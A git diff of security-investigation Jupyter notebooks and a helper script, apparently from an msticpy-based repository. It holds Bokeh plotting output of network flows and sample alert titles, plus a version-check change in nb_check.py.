\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"3821\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"3821\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -3551,7 +3790,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -3563,8 +3802,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"c01c8fc4-7662-4c78-bf0a-cc1647aa1b6a\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"3233\"},{\"id\":\"3265\"}]},\"id\":\"3402\",\"type\":\"Column\"},{\"attributes\":{},\"id\":\"3454\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"3240\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"3282\"},\"ticker\":{\"id\":\"3277\"}},\"id\":\"3276\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"end\":1550287059000.0,\"start\":1549575279000.0},\"id\":\"3236\",\"type\":\"Range1d\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3452\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3406\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"3443\"},{\"id\":\"3444\"},{\"id\":\"3445\"},{\"id\":\"3446\"},{\"id\":\"3447\"},{\"id\":\"3448\"},{\"id\":\"3449\"},{\"id\":\"3450\"},{\"id\":\"3451\"},{\"id\":\"3452\"},{\"id\":\"3453\"},{\"id\":\"3454\"}]},\"id\":\"3277\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"3242\",\"type\":\"LinearScale\"},{\"attributes\":{\"axis\":{\"id\":\"3276\"},\"ticker\":null},\"id\":\"3279\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"3227\"}},\"id\":\"3313\",\"type\":\"CDSView\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"3334\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3334\"}]},\"id\":\"3280\",\"type\":\"Toolbar\"},{\"attributes\":{\"end\":9.1,\"start\":-0.1},\"id\":\"3238\",\"type\":\"Range1d\"},{\"attributes\":{\"text\":\"Timeline: Network Flows by ASN\"},\"id\":\"3234\",\"type\":\"Title\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"23.48.36.47\",\"23.45.180.121\",\"23.48.36.78\",\"23.3.13.106\",\"23.3.13.112\",\"23.45.180.234\",\"23.3.13.146\",\"23.48.36.78\",\"23.45.181.178\",\"184.51.150.81\",\"23.45.180.34\",\"23.45.180.232\",\"23.45.181.160\",\"23.56.172.240\",\"23.45.180.184\",\"23.45.181.176\",\"23.73.181.8\",\"184.51.150.105\",\"23.48.36.61\",\"23.48.36.78\",\"23.3.13.152\",\"23.45.180.224\",\"23.215.98.90\"],\"ExtASN\":[\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, US\",\"AKAMAI-ASN1, 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Selector\"},\"id\":\"3266\",\"type\":\"Title\"},{\"attributes\":{\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_color\":{\"value\":\"#2D6E8E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3305\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"8.253.45.249\",\"8.249.241.254\",\"67.26.237.254\",\"67.26.233.254\"],\"ExtASN\":[\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIDJnYeOdkIAgBy9g452QgAATbbWjHZCAIA7qYiNdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\"],\"index\":[330,360,959,1103],\"y_index\":[8,8,8,8]},\"selected\":{\"id\":\"3426\"},\"selection_policy\":{\"id\":\"3425\"}},\"id\":\"3230\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3282\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"3226\"},\"glyph\":{\"id\":\"3305\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3306\"},\"selection_glyph\":null,\"view\":{\"id\":\"3308\"}},\"id\":\"3307\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@FlowStartTime\":\"datetime\"},\"tooltips\":[[\"FlowType\",\"@FlowType\"],[\"FlowStartTime\",\"@FlowStartTime{%F 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+ "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]",
+ "2019-02-13 02:50:38 - Security incident detected - (MSTICALERTSLXVM2) - [id:2518522745615999999_30ac5794-a265-4420-a1b7-6335ac08e2c0]",
+ "2019-02-14 11:51:38 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]",
+ "2019-02-14 11:51:38 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]",
+ "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]",
+ "2019-02-15 03:50:55 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1]",
+ "2019-02-15 04:03:22 - Possible suspicious scheduling tasks access detected - (MSTICALERTSLXVM2) - [id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]",
+ "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]",
+ "2019-02-15 19:55:10 - Suspicious Activity Detected - () - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]",
+ "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]",
+ "2019-02-16 20:49:59 - SSH Anomalous Login ML - () - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]",
+ "2019-02-16 20:54:02 - SSH Anomalous Login ML - () - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]",
+ "2019-02-16 20:59:02 - SSH Anomalous Login ML - () - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]",
+ "2019-02-16 21:04:02 - SSH Anomalous Login ML - () - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]",
+ "2019-02-16 21:09:02 - SSH Anomalous Login ML - () - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]",
+ "2019-02-16 21:14:02 - SSH Anomalous Login ML - () - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]",
+ "2019-02-16 21:19:02 - SSH Anomalous Login ML - () - [id:83062676-4b8d-4579-bcc9-196f086b93af]",
+ "2019-02-16 21:24:02 - SSH Anomalous Login ML - () - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]",
+ "2019-02-16 23:04:02 - SSH Anomalous Login ML - () - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]",
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+ "2019-02-16 23:19:02 - SSH Anomalous Login ML - () - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]",
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+ "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICALERTSWIN1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]",
+ "2019-02-13 02:50:38 - Security incident detected - (MSTICALERTSLXVM2) - [id:2518522745615999999_30ac5794-a265-4420-a1b7-6335ac08e2c0]",
+ "2019-02-14 11:51:38 - Suspicious system process executed - () - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]",
+ "2019-02-14 11:51:38 - Security incident detected - (MSTICALERTSWIN1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]",
+ "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]",
+ "2019-02-15 03:50:55 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1]",
+ "2019-02-15 04:03:22 - Possible suspicious scheduling tasks access detected - (MSTICALERTSLXVM2) - [id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]",
+ "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]",
+ "2019-02-15 19:55:10 - Suspicious Activity Detected - () - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]",
+ "2019-02-16 03:23:54 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518520133657099999_384e00d0-4afc-4e9a-8935-bec64d3951a4]",
+ "2019-02-16 20:49:59 - SSH Anomalous Login ML - () - [id:cf3d882a-3dc8-4526-80f0-0962b8d480c1]",
+ "2019-02-16 20:54:02 - SSH Anomalous Login ML - () - [id:a37e604d-fc93-43cc-997f-8b5c2fc53990]",
+ "2019-02-16 20:59:02 - SSH Anomalous Login ML - () - [id:c10ed21e-c5e6-4e7f-bb86-e586bfa2a2a3]",
+ "2019-02-16 21:04:02 - SSH Anomalous Login ML - () - [id:6a5661f9-9a57-4aa8-bb01-1d6743af998e]",
+ "2019-02-16 21:09:02 - SSH Anomalous Login ML - () - [id:723f61c8-86bd-46b4-96af-9b6509b0e83e]",
+ "2019-02-16 21:14:02 - SSH Anomalous Login ML - () - [id:cdaac819-757e-4296-9b64-5edd7e35e57f]",
+ "2019-02-16 21:19:02 - SSH Anomalous Login ML - () - [id:83062676-4b8d-4579-bcc9-196f086b93af]",
+ "2019-02-16 21:24:02 - SSH Anomalous Login ML - () - [id:9e25fa59-032f-42be-b8a1-495b773d6ef8]",
+ "2019-02-16 23:04:02 - SSH Anomalous Login ML - () - [id:eea9d793-0e7e-4911-a0e9-cf87bea6ec3e]",
+ "2019-02-16 23:09:02 - SSH Anomalous Login ML - () - [id:2007a3bf-db86-4a2e-ab4c-240660c6820a]",
+ "2019-02-16 23:14:02 - SSH Anomalous Login ML - () - [id:52f884eb-4193-43e7-9e3a-63889edbfb04]",
+ "2019-02-16 23:19:02 - SSH Anomalous Login ML - () - [id:6d53e2fc-3cfc-4c04-8396-c3dcbf1caa5e]",
+ "2019-02-16 23:24:02 - SSH Anomalous Login ML - () - [id:e782d6be-34d2-41c0-8b39-14ebbeef01a3]",
+ "2019-02-16 23:29:02 - SSH Anomalous Login ML - () - [id:3f756526-328e-4dc2-badb-304acded79fe]",
+ "2019-02-18 01:09:02 - SSH Anomalous Login ML - () - [id:dbd390dc-7a94-47e4-83e4-60a390e4073c]",
+ "2019-02-18 01:14:02 - SSH Anomalous Login ML - () - [id:64a2b4af-c3d7-422c-820b-7f1feb664222]",
+ "2019-02-18 01:19:02 - SSH Anomalous Login ML - () - [id:3968ef4e-b322-48ca-b297-e984aff8888d]",
+ "2019-02-18 01:24:02 - SSH Anomalous Login ML - () - [id:41f1f6b6-d2ea-4821-9659-0cfab6558cec]",
+ "2019-02-18 01:29:02 - SSH Anomalous Login ML - () - [id:214e5829-1a76-445b-845e-bf9ce81c3d4c]",
+ "2019-02-18 01:33:19 - SSH Anomalous Login ML - () - [id:8f622935-1422-41e6-b8f6-9119e681645c]",
+ "2019-02-18 01:34:02 - SSH Anomalous Login ML - () - [id:770459f6-d5ca-4561-a5fe-0911c64d3ace]",
+ "2019-02-18 01:39:02 - SSH Anomalous Login ML - () - [id:5dc33495-46c1-4232-9031-1cfa67c36724]",
+ "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:2de58958-55b0-4f0c-8113-063c815248a0]",
+ "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:95fb8ee8-479d-4b5f-b061-0b76946c9f4f]",
+ "2019-02-18 01:44:02 - SSH Anomalous Login ML - () - [id:e7a2c7ee-f8aa-4684-805d-72041ea18cf7]",
+ "2019-02-18 01:49:02 - SSH Anomalous Login ML - () - [id:f1ce87ca-8863-4a66-a0bd-a4d3776a7c64]",
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+ "2019-02-18 15:29:22 - Detected suspicious file download - (MSTICALERTSLXVM2) - [id:2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c]",
+ "2019-02-18 16:39:21 - SSH Anomalous Login ML - () - [id:932a6e3c-7747-4e89-8159-c597868089bb]"
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diff --git a/requirements.txt b/requirements.txt
index cbc0127c..1f355695 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1 +1 @@
-msticpy>=0.6.0
+msticpy>=1.0.0
diff --git a/utils/nb_check.py b/utils/nb_check.py
index 971d4207..2bd915a3 100644
--- a/utils/nb_check.py
+++ b/utils/nb_check.py
@@ -4,6 +4,7 @@
# license information.
# --------------------------------------------------------------------------
"""Checker for Python and msticpy versions."""
+import importlib
import os
import re
import subprocess
@@ -34,6 +35,8 @@ def check_versions(
Minimum Python version
min_py_ver : Tuple[int, int]
Minimum MSTICPy version
+ extras : Optional[List[str]]
+ A list of extras required for MSTICPy
Raises
------
@@ -53,7 +56,7 @@ def check_versions(
"--upgrade",
]
if extras:
- sp_args.append(f"msticpy[{', '.join(extras)}]")
+ sp_args.append(f"msticpy[{','.join(extras)}]")
else:
sp_args.append("msticpy")
subprocess.run(
@@ -62,11 +65,15 @@ def check_versions(
stdout=sys.stdout,
stderr=sys.stderr,
)
+ # pylint: disable=unused-import, import-outside-toplevel
if "msticpy" in sys.modules:
importlib.reload(sys.modules["msticpy"])
else:
import msticpy
- check_mp_ver(REQ_MSTICPY_VER)
+ # pylint: enable=unused-import, import-outside-toplevel
+ check_mp_ver(min_mp_ver)
+
+ _set_kql_env_vars(extras)
def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF):
@@ -112,13 +119,11 @@ def check_python_ver(min_py_ver=MIN_PYTHON_VER_DEF):
display(
HTML(
- "Python kernel version %s.%s.%s OK"
+ "Python kernel version %s.%s.%s OK "
% (sys.version_info[0], sys.version_info[1], sys.version_info[2])
)
)
- os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended"
-
# pylint: disable=import-outside-toplevel
def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION):
@@ -180,15 +185,25 @@ def check_mp_ver(min_msticpy_ver=MSTICPY_REQ_VERSION):
)
raise RuntimeError(wrong_ver_err)
- display(HTML("msticpy version %s.%s.%s OK" % mp_version))
+ display(HTML("msticpy version %s.%s.%s OK " % mp_version))
+
+
+def _set_kql_env_vars(extras):
+ jp_extended = ("azsentinel", "azuresentinel", "kql")
+ # If running in
+ if extras and any(extra for extra in extras if extra in jp_extended):
+ os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-extended"
+ else:
+ os.environ["KQLMAGIC_EXTRAS_REQUIRES"] = "jupyter-basic"
def _fmt_ver(version):
return ".".join(str(ver) for ver in version)
+
def _get_version(module):
ver_match = re.match(VER_RGX, module.__version__)
if ver_match:
ver_dict = ver_match.groupdict()
return int(ver_dict["maj"]), int(ver_dict["min"]), int(ver_dict["pnt"])
- return (0, 0, 0)
\ No newline at end of file
+ return (0, 0, 0)